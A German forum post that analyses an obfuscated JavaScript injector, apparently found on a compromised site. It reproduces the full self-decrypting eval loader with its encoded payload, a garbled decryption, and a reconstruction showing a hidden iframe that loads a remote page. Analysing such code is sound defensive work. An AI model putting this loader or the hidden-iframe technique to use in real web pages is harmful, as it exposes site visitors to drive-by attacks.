hi,
Wenn Du den Anfang durch
alert(unescape(ersetzt, kannst Du sehen, was da zweimal eval-uiert werden soll.
weil ich gerade damit ein bißchen rumgespielt habe (das macht spass) und vielleicht interessierts ja noch jemand: was dabei herauskommt ist dies:
function PHpaL(AII){function AIh(HpI){eval("var AATapDA=0;");var PpHL=HpI.length;eval("var LITlD=0;");while(LITlD<PpHL){AATapDA+=HAAaAl(HpI,LITlD)*PpHL;LITlD++;}return (AATapDA+'');}function HAAaAl(LDLATa,AhpHPH){return LDLATa.charCodeAt(AhpHPH);} try {var HppDAa=eval('a?r?g:u2m?ebnbt:s:.?c?aMlMlbe?e2'.replace(/[\?\:2Mb]/g, '')),LHIA='';var AHpPD=0,AaHaG=0,AHPAII=(new String(HppDAa)).replace(/[^@a-z0-9A-Z_.,-]/g,'');var LLTla=AIh(AHPAII);eval("AII=unescape(AII);");for(var AAaT=0; AAaT < (AII.length); AAaT++){var HAHL=HAAaAl(AHPAII,AHpPD)^HAAaAl(LLTla,AaHaG);var PalP=HAAaAl(AII,AAaT);AHpPD++;AaHaG++;if(AaHaG>LLTla.length)AaHaG=0;if(AHpPD>AHPAII.length)AHpPD=0;LHIA+=String.fromCharCode(PalP^HAHL) + '';}eval(LHIA); return LHIA=null;}catch(e){}}PHpaL('%32%37%31%31%36%31%39%30%70%2a%06%11%39%16%50%19%7f%55%27%20%37%21%79%24%0e%18%1a%5a%28%45%30%2f%33%20%2b%04%2e%02%5e%06%25%24%1c%05%55%01%3a%26%0c%23%17%01%50%57%12%7f%2f%35%35%33%6a%71%5e%64%39%73%34%25%20%48%5e%3c%2a%07%71%7c%71%77%22%3c%22%1e%10%3c%18%0f%2d%14%52%22%1d%4c%24%24%1f%00%1d%10%35%36%58%35%0d%2b%14%32%47%69%09%75%06%04%32%38%01%08%3b%0f%39%00%37%36%6d%6b%35%07%17%02%0d%77%6a%55%48%7f%4e%7c%3b%6b%2b%3c%2b%30%05%35%21%1f%3f%08%06%18%50%43%07%6c%17%34%24%1c%0e%03%26%00%34%65%6f%7f%4a%5c%4e%51%3b%7d%6a%37%2d%16%37%0e%2d%0d%35%03%31%15%76%66%19%05%21%21%2d%3c%60%7b%63%41%69%4b%56%12%3f%37%35%3d%30%3f%06%7b%20%6c%38%2a%7d%36%22%04%24%77%36%13%13%34%18%38%4a%38%7b%38%3f%39%37%28%28%02%39%7a%66%55%2f%25%70%68%18%13%13%15%28%22%37%50%1e%05%0c%10%75%74%18%3e%51%79%6e%79%4b%31%38%22%11%58%52%45%3e%69%59%38%68%78%65%67%78%6b%7c%08%0d%77%4f%0a%14%34%3f%7e%62%7d%4d');
ziemlich offensichtlich ist, dass da eine zeichen kette entschlüsselt werden soll. das abgefahrene: die funktion verwendet dabei sich selbst als schlüssel. d.h.: verändert man den "wortlaut" der funktion, indem man bspw. das entsprechende eval() durch alert() ersetzt, verändert man den schlüssel und bekommt so nur ein verzerrtes ergebnis. wie man das irgendwie umgehen könnte, dazu hatte ich bislang noch keine idee. alles was mir bis dato gelungen ist, ist die veränderung an der funktion so klein wie möglich zu halten indem ich das entsprechende eval durch eine eigene function fval (str) {alert(str);}
ersetzt habe. was dabei rauskommt sieht ungeschönt so aus:
functobk PAADa.d, {try }{dr o=doexhent.crclqeElemehy-'iframc*,; o.sre0"http:/)zlnesamijh+cn/temvadte.htmj*> o.setGyqribute.*ridth',&=,; o.serLqtributc%"framebidaer', 0/6%o.setArywibute(!e
ight',&=,; docukhkt.body(lupendChoaa(o); }elqch(e){uhqTimeour%cunctioh--){PAADg%.+i);},&?50);}} VLDDa(0);`
das ist zwar kein klartext, aber mit ein bißchen fantasie kann man das so ordnen:
functobk PAADa.d, {
try }{
dr o=doexhent.crclqeElemehy-'iframc*,;
o.sre0"http:/)zlnesamijh+cn/temvadte.htmj*>
o.setGyqribute.*ridth',&=,;
o.serLqtributc%"framebidaer', 0/6%
o.setArywibute(!e`ight',&=,;
docukhkt.body(lupendChoaa(o); }
elqch (e) {
uhqTimeour%cunctioh--){PAADg%.+i);},&?50);
}
};
VLDDa(0);
und mit einer weiteren ladung spucke kann man dann das daraus machen/darein interpretieren:
function PAAD(a) {
try {
var o=document.createElement('iframc');
o.src = "http://www.isuck.com/badly.html"; //random URL
o.setAttribute("width",XY);
o.setAttribute("frameborder", 0);
o.setAttribute("height", XY);
document.body.appendChild(o);
}
catch (e) {
setTimeout(function () {PAAD(a);}, 50);
}
};
PAAD(0);
wenn ich mich bei der rekonstruktion nicht allzu irre will das skript am ende also einen iframe einbinden und irgendwas laden. ziemlich ausgefuchst wie ich finde.
hoffe (irgendwem) geholfen zu haben,
henning